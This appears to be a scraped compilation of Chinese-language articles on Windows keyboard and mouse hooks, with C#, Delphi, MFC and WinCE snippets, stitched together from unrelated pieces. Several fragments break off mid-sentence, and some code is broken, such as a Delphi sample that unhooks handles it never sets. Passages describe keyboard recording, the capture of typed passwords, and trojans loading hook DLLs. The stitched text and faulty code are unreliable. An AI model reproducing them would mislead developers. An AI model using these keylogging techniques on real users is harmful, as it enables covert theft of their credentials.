用键盘钩子在Windows平台捕获键盘动作

合集下载

输入捕获总结

输入捕获总结

输入捕获总结简介输入捕获是计算机领域中的一项技术,它可以记录和分析用户的输入行为。

输入行为包括键盘输入、鼠标点击、触摸屏操作等。

通过对输入捕获的分析,我们可以更好地了解用户的行为习惯,优化用户体验,提高软件的质量。

输入捕获的原理输入捕获的原理是通过操作系统提供的接口,捕获用户输入的相关信息。

在Windows操作系统中,可以使用钩子(hook)来实现输入捕获。

钩子可以截获特定的Windows消息,例如键盘输入消息(WM_KEYDOWN)、鼠标点击消息(WM_LBUTTONDOWN)等。

当钩子被触发时,可以在回调函数中获取到输入事件的详细信息,例如按下的键盘键码、鼠标点击的坐标等。

输入捕获的应用输入捕获在计算机领域有着广泛的应用。

以下是输入捕获的几个常见应用场景:1. 用户行为分析通过输入捕获,可以收集并分析用户的输入行为,从而了解用户的使用习惯和偏好。

这对于设计产品、优化用户体验非常重要。

例如,在网站的用户行为分析中,可以统计用户的鼠标点击位置和频率,以及键盘输入的内容和速度,从而优化页面布局和交互方式。

2. 安全防护输入捕获可以用于安全防护,例如实现键盘记录器的功能。

键盘记录器可以记录用户在计算机键盘上输入的内容,例如账号密码等敏感信息。

通过输入捕获,可以检测和阻止恶意程序对用户输入信息的获取,提高系统的安全性。

3. 软件调试和性能优化在软件开发过程中,输入捕获对于软件调试和性能优化也非常有帮助。

通过捕获用户的输入行为,可以定位软件中可能存在的bug和性能瓶颈。

例如,在游戏开发中,可以捕获玩家的键盘输入和鼠标点击来优化游戏的响应速度和控制体验。

输入捕获的挑战尽管输入捕获在很多领域都有广泛的应用,但是它也面临一些挑战。

1. 隐私问题由于输入捕获可以记录用户的输入行为,涉及到用户隐私的问题。

当需要使用输入捕获进行用户行为分析时,需要保证用户的个人信息得到合理的保护,遵守相关的法律法规。

2. 兼容性问题不同的操作系统和开发平台提供的输入捕获接口可能存在差异,导致跨平台的兼容性问题。

Windows Hook

Windows Hook

HOOK简介HOOK钩子程序是在内存中可以不断的在内存中拦截你要控制设备的消息并且可以对该消息进行处理过滤。

钩子是WINDOWS留给我们的后门,比如你想控制键盘,在DOS时代很简单通过INT即可,而WINDOWS时代不允许我们直接操作硬件;由于WINDOWS 是消息驱动,所以我们可以拦截键盘消息以达到控制键盘的目的。

但是控制自己进程的消息固然很简单,要控制所有进程消息要利用钩子了。

将钩子函数放在DLL中,所有的有关键盘的消息都必须经过钩子函数过滤,这样你就可以为所欲为了。

WINDOWS下的钩子程序就像DOS下的TSR(内存驻留程序)一样,用来截获WINDOWS下的特定的消息,进行相应的处理。

比如可以截获键盘输入的消息,来获得键盘输入的信息等。

钩子程序可以通过API 调用来驻留和脱钩。

钩子的类型按事件分类,有如下的几种常用类型(1)键盘钩子和低级键盘钩子可以监视各种键盘消息。

(2)鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。

(3)外壳钩子可以监视各种Shell事件消息。

比如启动和关闭应用程序。

(4)日志钩子可以记录从系统消息队列中取出的各种事件消息。

(5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。

此外,还有一些特定事件的钩子提供给我们使用,不一一列举。

常用的Hook类型:1、WH_CALLWNDPROC和WH_CALLWNDPROCRET HooksWH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。

系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。

WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook子程。

CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。

C#键盘钩子实现全局快捷键

C#键盘钩子实现全局快捷键

{
int hHook;
Win32Api.HookProc KeyboardHookDelegate;
public event KeyEventHandler OnKeyDownEvent;
public event KeyEventHandler OnKeyUpEvent;
public event KeyPressEventHandler OnKeyPressEvent;

if (OnKeyDownEvent != null && (wParam == Win32Api.WM_KEYDOWN
|| wParam == Win32Api.WM_SYSKEYDOWN))
{
KeyEventArgs e = new KeyEventArgs(GetDownKeys(keyData));
(wParam == Win32Api.WM_KEYUP || wParam == Win32Api.WM_SYSKEYUP))
{
if (IsCtrlAltShiftKeys(keyData))
{
for (int i = preKeysList.Count - 1; i >= 0; i--)
{
if
(preKeysList[i]
{ #region 常数和结构 public const int WM_KEYDOWN = 0x100; public const int WM_KEYUP = 0x101; public const int WM_SYSKEYDOWN = 0x104; public const int WM_SYSKEYUP = 0x105; public const int WH_KEYBOARD_LL = 13;

钩子函数捕捉键盘消息

钩子函数捕捉键盘消息

利用钩子函数来捕捉键盘响应的windows应用程序一:引言:你也许一直对金山词霸的屏幕抓词的实现原理感到困惑,你也许希望将你的键盘,鼠标的活动适时的记录下来,甚至你想知道木马在windows操作系统是怎样进行木马dll的加载的…..其实这些都是用到了windows的钩子函数。

因此本文将对钩子函数的相关知识进行阐述。

当然,本文的目的并不是想通过此程序让读者去窃取别人的密码,只是由于钩子函数在windows系统中是一个非常重要的系统接口函数,所以想和大家共同的探讨,当然本文也对怎样建立动态连结库(DLL)作了一些简单的描述。

(本文的程序为vc6.0的开发环境,语言是:C和win32 api)。

二:钩子概述:微软的windowsX操作系统是建立在事件驱动的机制上的,也就是通过消息传递来实现。

而钩子在windows操作系统中,是一种能在事件(比如:消息、鼠标激活、键盘响应)到达应用程序前中途接获事件的机制。

而且,钩子函数还可以通过修改、丢弃等手段来对事件起作用。

Windows 有两种钩子,一种是特定线程钩子(Thread specific hooks),一种是全局系统钩子(Systemwide hooks)。

特定线程钩子只是监视指定的线程,而全局系统钩子则可以监视系统中所有的线程。

无论是特定线程钩子,还是全局系统钩子,都是通过SetWindowsHookEx ()来设置钩子的。

对于特定线程钩子,钩子的函数既可以是包含在一个.exe也可以是一个.dll。

但是对于一个全局系统钩子,钩子函数必须包含在独立的dll中,因此,当我们要捕捉键盘响应时,我们必须创建一个动态链接库。

但是当钩子函数在得到了控制权,并对相关的事件处理完后,如果想要该消息得以继续的传递,那么则必须调用另一个函数:CallNextHookEx。

由于系统必须对每个消息处理,钩子程序因此增加了处理的负担,因此也降低了系统的性能。

鉴于这一点,在windows ce中对钩子程序并不支持。

DELPHIHOOK函数建立键盘鼠标动作记录与回放

DELPHIHOOK函数建立键盘鼠标动作记录与回放

DELPHIHOOK函数建立键盘鼠标动作记录与回放1.键盘记录与回放:DELPHIHOOK函数可以捕获用户在键盘上的按键操作,并将这些操作记录下来,然后可以进行回放,模拟用户的按键过程。

这个功能在程序调试和测试中非常有用,可以帮助开发人员快速定位问题所在。

2.鼠标动作记录与回放:除了键盘操作,DELPHIHOOK函数还可以记录用户在鼠标上的操作,比如点击、移动等动作。

这样,在程序调试和测试中,可以直观地看到用户是如何操作鼠标的,从而更好地理解用户行为和需求。

3.自定义快捷键设定:DELPHIHOOK函数还支持自定义快捷键的设定,用户可以根据自己的需求设置一些快捷键,方便程序操作和调试。

DELPHIHOOK函数的实现原理是通过Windows的Hook技术来实现的,Hook是一种在Windows系统中用于拦截和修改系统消息和事件的机制。

DELPHIHOOK函数通过加载一个DLL动态链接库,并在其中设置一些Hook函数,来拦截并记录用户的键盘和鼠标操作。

下面我们来看一下DELPHIHOOK函数的具体实现步骤:1. 创建一个DLL项目:首先,在Delphi中创建一个DLL项目,命名为HookDLL。

2. 实现键盘Hook函数:在HookDLL中实现一个键盘Hook函数,用于捕获用户在键盘上的按键操作。

可以使用Windows API中的SetWindowsHookEx函数来实现。

3. 实现鼠标Hook函数:同样,在HookDLL中实现一个鼠标Hook函数,用于捕获用户在鼠标上的操作。

可以使用Windows API中的SetWindowsHookEx函数来实现。

4. 记录用户操作:在HookDLL中实现一个记录用户操作的函数,将捕获到的键盘和鼠标操作记录下来,保存到一个文件或内存中。

5. 回放用户操作:在HookDLL中实现一个回放用户操作的函数,用来读取之前记录的操作,然后模拟用户的操作过程。

6. 在主程序中调用HookDLL:最后,在Delphi主程序中调用HookDLL中的函数,来实现键盘和鼠标动作的记录和回放功能。

mfc 键盘hook例子

mfc 键盘hook例子

mfc 键盘hook例子MFC键盘钩子示例本示例展示了如何在 MFC 应用程序中使用键盘钩子来监视键盘输入。

创建键盘钩子1. 在 MFC 应用程序中添加一个新类,例如 `CKeyboardHook`。

2. 在 `CKeyboardHook` 类中,实现 `SetWindowsHookEx` 函数来设置键盘钩子。

此函数接收以下参数:- WH_KEYBOARD:指定要安装的钩子类型(键盘钩子)- `CKeyboardHook::HookProc`:指向钩子回调函数的指针- `GetCurrentThreadId()`:当前线程的标识符- 0:表示钩子应安装在所有线程中以下是 `SetWindowsHookEx` 函数的示例代码:```cppbool CKeyboardHook::InstallHook(){m_hHook = SetWindowsHookEx(WH_KEYBOARD, HookProc, GetCurrentThreadId(), 0);return m_hHook != NULL;}```钩子回调函数3. 实现钩子回调函数 `CKeyboardHook::HookProc`。

此函数将在每次按下或松开键盘键时调用。

4. 回调函数应接收以下参数:- `int nCode`:指定钩子代码(例如 HC_ACTION)- `WPARAM wParam`:与此钩子关联的其他信息- `LPARAM lParam`:指向包含按键信息的`KBDLLHOOKSTRUCT` 结构的指针以下是 `CKeyboardHook::HookProc` 函数的示例代码:```cppLRESULT CALLBACK CKeyboardHook::HookProc(int nCode, WPARAM wParam, LPARAM lParam){if (nCode == HC_ACTION){KBDLLHOOKSTRUCT pKeyboardInfo = (KBDLLHOOKSTRUCT)lParam;// 处理键盘输入}return CallNextHookEx(NULL, nCode, wParam, lParam);}```处理键盘输入5. 在 `CKeyboardHook::HookProc` 回调函数中,可以处理键盘输入。

DELPHIHOOK函数建立键盘鼠标动作记录与回放

DELPHIHOOK函数建立键盘鼠标动作记录与回放

DELPHIHOOK函数建立键盘鼠标动作记录与回放Delphi是一种非常强大的编程语言和集成开发环境。

使用Delphi,我们可以开发各种类型的应用程序,包括桌面应用程序、移动应用程序和网页应用程序等。

本文将介绍如何使用Delphi编写钩子函数来记录和回放键盘和鼠标动作。

钩子函数是一种特殊的函数,可以捕获和处理操作系统中发生的事件。

在Delphi中,可以使用Windows API函数来设置钩子函数。

下面是一些常用的钩子函数:1. SetWindowsHookEx函数:用于设置全局钩子函数。

可以使用该函数来捕获系统中发生的各种事件,包括键盘事件和鼠标事件等。

2. CallNextHookEx函数:用于将事件传递给下一个钩子函数或默认处理程序。

在钩子函数中,应该调用该函数来确保事件被正确处理。

3. UnhookWindowsHookEx函数:用于删除之前设置的钩子函数。

首先,我们需要创建一个新的Delphi工程并添加一个窗体。

在窗体上放置两个按钮,一个用于开始记录,另一个用于停止记录。

我们还需要添加一些全局变量来保存记录的动作。

```delphiunit Main;interfaceusesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls;typeTForm1 = class(TForm)Button1: TButton;Button2: TButton;procedure Button1Click(Sender: TObject);procedure Button2Click(Sender: TObject);private{ Private declarations }public{ Public declarations }end;varForm1: TForm1;IsRecording: Boolean;Actions: TList;implementation{$R *.dfm}procedure RecordMouseAction(var Msg: TMessage); stdcall; beginif IsRecording thenbegin//记录鼠标动作case Msg.Msg ofWM_LBUTTONDOWN:Actions.Add(Pointer('MouseLeftButtonDown'));WM_LBUTTONUP:Actions.Add(Pointer('MouseLeftButtonUp'));WM_RBUTTONDOWN:Actions.Add(Pointer('MouseRightButtonDown'));WM_RBUTTONUP:Actions.Add(Pointer('MouseRightButtonUp'));//添加更多的鼠标动作记录end;end;CallNextHookEx(0, Msg.Msg, Msg.WParam, Msg.LParam);end;procedure RecordKeyboardAction(var Msg: TMessage); stdcall; beginif IsRecording thenbegin//记录键盘动作case Msg.Msg ofWM_KEYDOWN:Actions.Add(Pointer('KeyDown:' + IntToStr(Msg.WParam))); WM_KEYUP:Actions.Add(Pointer('KeyUp:' + IntToStr(Msg.WParam)));//添加更多的键盘动作记录end;end;CallNextHookEx(0, Msg.Msg, Msg.WParam, Msg.LParam);end;procedure TForm1.Button1Click(Sender: TObject);begin//开始记录Actions := TList.Create;//设置鼠标钩子//设置键盘钩子IsRecording := True;end;procedure TForm1.Button2Click(Sender: TObject); vari: Integer;begin//停止记录IsRecording := False;//卸载钩子UnhookWindowsHookEx(HookMouse); UnhookWindowsHookEx(HookKeyboard);//回放记录的动作for i := 0 to Actions.Count - 1 dobeginif StrPos(PChar(Actions[i]), 'Mouse') <> nil then beginif StrPos(PChar(Actions[i]), 'ButtonDown') <> nil then begin//执行鼠标按下动作endelse if StrPos(PChar(Actions[i]), 'ButtonUp') <> nil then begin//执行鼠标松开动作end;endelse if StrPos(PChar(Actions[i]), 'Key') <> nil then beginif StrPos(PChar(Actions[i]), 'Down') <> nil thenbegin//执行键盘按下动作endelse if StrPos(PChar(Actions[i]), 'Up') <> nil thenbegin//执行键盘松开动作end;end;end;Actions.Free;end;end.```在上面的代码中,我们使用记录和回放动作的两个按钮的单击事件来控制开始/停止记录和回放动作。

WinCE系统鼠标键盘钩子使用方法

WinCE系统鼠标键盘钩子使用方法
在程序初始段打开 GPIO,获得 GPIO 句柄。 #include "isa_dio.h" HANDLE hGpio; hGpio = OpenGPIO( _T("PIO1:"));
3/5
成都英创信息技术有限公司
WinCE 系统鼠标键盘钩子使用方法
添加 Beep 函数,通过 GPIO 句柄操作 GPIO15。 void Beep() {
创建需要挂入系统的消息处理函数 即钩子函数,钩子函数定义必须为制定的格式。 钩子函数根据实际应用需求,决定是否调用 CallNextHookEx,将消息传递给后面的钩子处理。 首位的钩子函数返回值决定该消息是丢弃,还是传给系统消息处理函数,再分发给各窗口。 以下为键盘及鼠标钩子函数的示例。
键盘钩子函数
1/5
成都英创信息技术有限公司
WinCE 系统鼠标键盘钩子使用方法
使用钩子需要用到函数,SetWindowsHookEx,UnhookWindowsHookEx,CallNextHookEx。 及键盘钩子鼠标钩子的定义,及键盘消息,鼠标消息的结构体定义,均定义在 pwinuser.h 中。
#include "pwinuser.h"
该键盘钩子示例函数中,当检测到按键‘1’按下时,调用 Beep 函数触发蜂鸣器。
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *) lParam;
这时,可以使用键盘鼠标钩子来实现这些功能。
钩子是 WINDOWS/WINCE 系统独有的消息处理机制。通过系统调用,将消息处理程序段挂入系统, 获得消息处理优先控制权,在消息达到目的窗口前进行处理。钩子函数可以通过判断决定是否加工处理 (改变)消息,或不做处理继续传递各消息,或强制结束消息传递。

键盘记录 原理

键盘记录 原理

键盘记录原理
键盘记录是一种记录用户键盘输入的技术。

它利用计算机系统内部的软件或硬件机制来截取并记录用户在键盘上按下的按键信息。

键盘记录的原理基于计算机系统对键盘输入的处理过程。

当用户按下键盘上的一个按键时,键盘会发送相应的键码(scan code)给计算机系统。

计算机系统接收到键码后,会进行相应的处理,将键码转换为可识别的字符或命令,并执行相应的操作。

在键盘记录过程中,通常通过拦截键盘输入的接口或钩子技术来实现。

拦截接口可以捕获键盘输入的原始数据,而钩子技术可以截取键盘事件,并在事件处理过程中进行记录。

拦截接口一般由操作系统提供,并通过内核级别实现,因此可以完全截取键盘输入。

钩子技术则可以通过在操作系统中设置键盘事件的钩子函数来实现截取。

当键盘记录器植入计算机系统后,它会在用户按下键盘上的按键时记录按键信息。

记录的信息可以包括按键的时间、按键的键码或字符,以及按键的顺序等。

这些信息会被存储在键盘记录器内部的存储器中,或者被发送到攻击者控制的服务器或存储设备上。

键盘记录技术在一些特定的场景中被使用,比如在调查研究、审计、监控等方面。

然而,它也有潜在的风险,因为攻击者可以通过非法的手段植入键盘记录器来获取用户的敏感信息,如
用户名、密码、信用卡号码等。

为了保护用户的隐私和安全,用户可以采取一些措施来防范键盘记录攻击。

这些措施包括定期检查计算机系统是否受到键盘记录器的攻击、使用安全的密码管理工具、及时更新操作系统和应用程序,以及避免在不可信的计算机上输入敏感信息等。

minhook用法 -回复

minhook用法 -回复

minhook用法-回复Minhook是一款功能强大的库,用于在Windows操作系统上钩取并监视系统的低级别钩子。

它提供了一种简单而高效的方式来监视和控制系统级行为,例如键盘输入、鼠标事件以及系统消息。

本文将逐步介绍Minhook 的用法以及如何在自己的项目中应用它。

第一步:准备工作在开始使用Minhook之前,我们需要进行一些准备工作。

首先,我们需要下载Minhook的最新版本。

你可以在Minhook的GitHub页面(第二步:设置项目在开始使用Minhook之前,我们需要将Minhook添加到我们的项目中。

我们可以将Minhook的源代码直接添加到我们的项目中,或者使用编译好的库文件。

如果你选择将源代码添加到项目中,你需要将Minhook的头文件和源文件分别添加到你的项目中。

你可以在Minhook的源代码文件夹中找到这些文件。

如果你选择使用编译好的库文件,你需要将Minhook的库文件添加到你的项目中。

你可以在Minhook的文件夹中找到Minhook.lib文件。

第三步:使用Minhook一旦我们成功地将Minhook添加到项目中,我们就可以开始使用它了。

使用Minhook的第一步是初始化库。

我们需要调用MinHook_Initialize 函数来初始化Minhook,并将它放置在程序的入口点处。

接下来,我们需要选择要钩取的函数,并定义一个回调函数。

回调函数将在钩取的函数被调用时执行。

然后,我们可以使用MinHook_Create来创建一个钩子。

我们需要传入要钩取的函数的地址,以及我们定义的回调函数的指针。

Minhook将自动将钩取的函数与回调函数相关联。

最后,我们需要使用MinHook_Enable来启用钩子。

一旦启用了钩子,Minhook将开始监视并拦截我们钩取的函数的调用。

第四步:处理钩子一旦我们启用了钩子,Minhook将拦截我们钩取的函数的调用,并将它们传递给我们定义的回调函数。

深入分析C#键盘勾子(Hook)拦截器,屏蔽键盘活动的详解

深入分析C#键盘勾子(Hook)拦截器,屏蔽键盘活动的详解

深⼊分析C#键盘勾⼦(Hook)拦截器,屏蔽键盘活动的详解钩⼦(Hook),是Windows消息处理机制的⼀个平台,应⽤程序可以在上⾯设置⼦程以监视指定窗⼝的某种消息,⽽且所监视的窗⼝可以是其他进程所创建的。

当消息到达后,在⽬标窗⼝处理函数之前处理它。

钩⼦机制允许应⽤程序截获处理window消息或特定事件。

钩⼦实际上是⼀个处理消息的程序段,通过系统调⽤,把它挂⼊系统。

每当特定的消息发出,在没有到达⽬的窗⼝前,钩⼦程序就先捕获该消息,亦即钩⼦函数先得到控制权。

这时钩⼦函数即可以加⼯处理(改变)该消息,也可以不作处理⽽继续传递该消息,还可以强制结束消息的传递。

运⾏机制1、钩⼦链表和钩⼦⼦程:每⼀个Hook都有⼀个与之相关联的指针列表,称之为钩⼦链表,由系统来维护。

这个列表的指针指向指定的,应⽤程序定义的,被Hook⼦程调⽤的回调函数,也就是该钩⼦的各个处理⼦程。

当与指定的Hook类型关联的消息发⽣时,系统就把这个消息传递到Hook⼦程。

⼀些Hook⼦程可以只监视消息,或者修改消息,或者停⽌消息的前进,避免这些消息传递到下⼀个Hook⼦程或者⽬的窗⼝。

最近安装的钩⼦放在链的开始,⽽最早安装的钩⼦放在最后,也就是后加⼊的先获得控制权。

Windows 并不要求钩⼦⼦程的卸载顺序⼀定得和安装顺序相反。

每当有⼀个钩⼦被卸载,Windows 便释放其占⽤的内存,并更新整个Hook 链表。

如果程序安装了钩⼦,但是在尚未卸载钩⼦之前就结束了,那么系统会⾃动为它做卸载钩⼦的操作。

钩⼦⼦程是⼀个应⽤程序定义的回调函数(CALLBACK Function),不能定义成某个类的成员函数,只能定义为普通的C函数。

⽤以监视系统或某⼀特定类型的事件,这些事件可以是与某⼀特定线程关联的,也可以是系统中所有线程的事件。

钩⼦⼦程必须按照以下的语法:复制代码代码如下:LRESULT CALLBACKHookProc(int nCode,WPARAM wParam,LPARAM lParam);HookProc是应⽤程序定义的名字。

钩子原理

钩子原理

[转]钩子原理钩子原理Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。

而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。

钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。

这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。

可见,利用钩子可以实现许多特殊而有用的功能。

因此,对于高级编程人员来说,掌握钩子的编程方法是很有必要的。

钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。

钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。

此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。

在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC6中有三种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。

在本程序中为方便起见采用了标准静态连接MFC DLL。

钩子的类型一.按事件分类,有如下的几种常用类型(1)键盘钩子和低级键盘钩子可以监视各种键盘消息。

(2)鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。

(3)外壳钩子可以监视各种Shell事件消息。

比如启动和关闭应用程序。

(4)日志钩子可以记录从系统消息队列中取出的各种事件消息。

(5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。

c#使用hook来监控鼠标键盘事件的示例代码

c#使用hook来监控鼠标键盘事件的示例代码

c#使⽤hook来监控⿏标键盘事件的⽰例代码如果这个程序在10⼏年前,QQ刚刚兴起的时候,有了这个代码,就可实现盗号了.当然使⽤钩⼦我们更多的是实现"全局快捷键"的需求.⽐如程序最⼩化隐藏后要"某快捷键"来启动它.钩⼦(hook),通俗的讲,她可以捕获到你的键盘和⿏标的相关操作消息.关于hook的相关代码⽹上⼀搜⼀箩筐,这是整理起来⽐较完善和使⽤最⽅便的.//Declare wrapper managed POINT class.[StructLayout(LayoutKind.Sequential)]public class POINT{public int x;public int y;}//Declare wrapper managed MouseHookStruct class.[StructLayout(LayoutKind.Sequential)]public class MouseHookStruct{public POINT pt;public int hwnd;public int wHitTestCode;public int dwExtraInfo;}//Declare wrapper managed KeyboardHookStruct class.[StructLayout(LayoutKind.Sequential)]public class KeyboardHookStruct{public int vkCode; //Specifies a virtual-key code. The code must be a value in the range 1 to 254.public int scanCode; // Specifies a hardware scan code for the key.public int flags; // Specifies the extended-key flag, event-injected flag, context code, and transition-state flag.public int time; // Specifies the time stamp for this message.public int dwExtraInfo; // Specifies extra information associated with the message.}public class GlobalHook{public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);public delegate int GlobalHookProc(int nCode, Int32 wParam, IntPtr lParam);public GlobalHook(){//Start();}~GlobalHook(){Stop();}public event MouseEventHandler OnMouseActivity;public event KeyEventHandler KeyDown;public event KeyPressEventHandler KeyPress;public event KeyEventHandler KeyUp;/// <summary>/// 定义⿏标钩⼦句柄./// </summary>static int _hMouseHook = 0;/// <summary>/// 定义键盘钩⼦句柄/// </summary>static int _hKeyboardHook = 0;public int HMouseHook{get { return _hMouseHook; }}public int HKeyboardHook{get { return _hKeyboardHook; }}/// <summary>/// ⿏标钩⼦常量(from Microsoft SDK Winuser.h )/// </summary>public const int WH_MOUSE_LL = 14;/// <summary>/// 键盘钩⼦常量(from Microsoft SDK Winuser.h )/// </summary>public const int WH_KEYBOARD_LL = 13;/// <summary>/// 定义⿏标处理过程的委托对象/// </summary>GlobalHookProc MouseHookProcedure;/// <summary>/// 键盘处理过程的委托对象/// </summary>GlobalHookProc KeyboardHookProcedure;//导⼊window 钩⼦扩展⽅法导⼊/// <summary>/// 安装钩⼦⽅法/// </summary>[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]public static extern int SetWindowsHookEx(int idHook, GlobalHookProc lpfn,IntPtr hInstance, int threadId);/// <summary>/// 卸载钩⼦⽅法/// </summary>[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]public static extern bool UnhookWindowsHookEx(int idHook);//Import for CallNextHookEx./// <summary>/// 使⽤这个函数钩信息传递给链中的下⼀个钩⼦过程。

键盘勾子

键盘勾子
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
};
(4)在KeyboardHook.cpp文件的顶部加入#include "KeyboardHook.h"语句;
(5)在KeyboardHook.cpp文件的顶部加入全局共享数据变量:
#pragma data_seg("mydata")
HHOOK glhHook=NULL; //安装的鼠标勾子句柄
实现适时监视键盘,并将按键信息保存在TXT文件中的程序
Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。本文在VC6编程环境下实现了一个简单的键盘钩子程序,并对Win32全局钩子的运行机制、Win32 DLL的特点、VC6环境下的MFC DLL以及共享数据等相关知识进行了简单的阐述。
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);
其中,第一个参数表示DLL的实例句柄;第三个参数系统保留;这里主要介绍一下第二个参数,它有四个可能的值:DLL_PROCESS_ATTACH(进程载入),DLL_THREAD_ATTACH(线程载入),DLL_THREAD_DETACH(线程卸载),DLL_PROCESS_DETACH(进程卸载),在DLLMain函数中可以对传递进来的这个参数的值进行判别,并根据不同的参数值对DLL进行必要的初始化或清理工作。举个例子来说,当有一个进程载入一个DLL时,系统分派给DLL的第二个参数为DLL_PROCESS_ATTACH,这时,你可以根据这个参数初始化特定的数据。另一方面,在Win16环境下,所有应用程序都在同一地址空间;而在Win32环境下,所有应用程序都有自己的私有空间,每个进程的空间都是相互独立的,这减少了应用程序间的相互影响,但同时也增加了编程的难度。大家知道,在Win16环境中,DLL的全局数据对每个载入它的进程来说都是相同的;而在Win32环境中,情况却发生了变化,当进程在载入DLL时,系统自动把DLL地址映射到该进程的私有空间,而且也复制该DLL的全局数据的一份拷贝到该进程空间,也就是说每个进程所拥有的相同的DLL的全局数据其值却并不一定是相同的。因此,在Win32环境下要想在多个进程中共享数据,就必须进行必要的设置。亦即把这些需要共享的数据分离出来,放置在一个独立的数据段里,并把该段的属性设置为共享。

C#+低级Windows API钩子拦截键盘输入

C#+低级Windows API钩子拦截键盘输入
using (ProcessModule curModule = curProcess.MainModule)
{
hookID = SetWindowsHookEx(WH_KEYBOARD_LL, proc,GetModuleHandle(curModule.ModuleName), 0);
其实,建立一个函数指针的C#方法使用了一个代理,因此,向SetWindowsHookEx指出它需要的内容的第一步是使用正确的签名来声明一个代理:
private delegate IntPtr HookHandlerDelegate(int nCode, IntPtr wParam, ref KBDLLHOOKSTRUCT lParam);
这个类引发一个事件来警告应用程序已经有键被按下,因此主表单能够存取在Main()方法中创建的KeyboardHook实例就显得非常重要;最简单的方法是把这个实例存储在一个公共成员变量中。
KeyboardHook提供了三种构造器来启用或禁用某些设置:
? KeyboardHook():捕获所有击键,没有任何内容传递到Windows或另外的应用程序。
? Lpfn:
这是一个指向函数的长指针,该函数将负责处理键盘事件。在C#中,"指针"是通过传递一个代理类型的实例而获得的,从而使之引用一个适当的方法。这是我们在每次使用钩子时所调用的方法。
这里值得注意的是,这个代理实例需要被存储于这个类的一个成员变量中。这是为了防止一旦第一个方法调用结束它会被作为垃圾回收。
因此,实例化该类以捕获所有击键的方法如下:
public static KeyboardHook kh;
[STAThread]
static void Main()

输入捕获的原理

输入捕获的原理

输入捕获的原理
输入捕获是指通过程序或设备获取与计算机或系统进行交互的输入信息的过程。

它通常涉及监听和记录键盘、鼠标、触摸屏、摄像头、麦克风等输入设备的操作行为和数据。

输入捕获的原理可以分为以下几个步骤:
1. 按键监听:输入捕获程序或设备会监控键盘输入,包括键盘按键的按下和释放操作。

它可以通过低级别的操作系统API
(如Windows的hook机制)来注册一个键盘钩子,用于监控
和截获键盘消息。

2. 鼠标监听:输入捕获程序或设备会监控鼠标输入,包括鼠标的点击、移动和滚轮事件等。

它可以通过类似的方法来注册一个鼠标钩子,用于监控和截获鼠标消息。

3. 触摸屏监听:输入捕获程序或设备可以通过操作系统提供的触摸屏驱动接口,监听和处理触摸屏所产生的触控事件,如触摸、滑动、缩放等。

4. 设备数据获取:输入捕获程序或设备可以通过读取输入设备的原始数据流来获取更详细的输入信息。

比如,它可以读取鼠标或触摸屏的原始坐标数据、压感数据、按钮状态等。

5. 数据记录和处理:输入捕获程序或设备会将获取到的输入信息进行记录和处理。

记录可以以原始数据的形式保存下来,也可以进行进一步的分析和处理,比如提取关键信息、生成输入
日志等。

需要注意的是,输入捕获程序或设备的工作通常需要在操作系统层面进行,需要相应的权限和许可才能获取和处理输入信息。

此外,为了保护用户的隐私和安全,一些操作系统和应用程序可能会限制或禁止对输入信息进行捕获。

setwindowshook函数说明

setwindowshook函数说明

setwindowshook函数说明setwindowshook函数说明setwindowshook函数是Windows操作系统提供的一种底层钩子技术,允许应用程序拦截和监视特定的系统事件。

本文将详细介绍setwindowshook函数的使用方法和注意事项。

1. setwindowshook函数的定义HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);2. 参数解释•idHook:钩子类型,指定所要安装的钩子类型,常见的钩子类型包括WH_KEYBOARD、WH_MOUSE等。

•lpfn:回调函数的指针,当特定事件发生时,系统会调用该回调函数。

•hMod:钩子处理函数所在的模块句柄,一般使用GetModuleHandle(NULL)获取当前模块句柄。

•dwThreadId:线程ID,指定钩子函数所在的线程ID。

如果为0,则表示将钩子函数安装到所有线程。

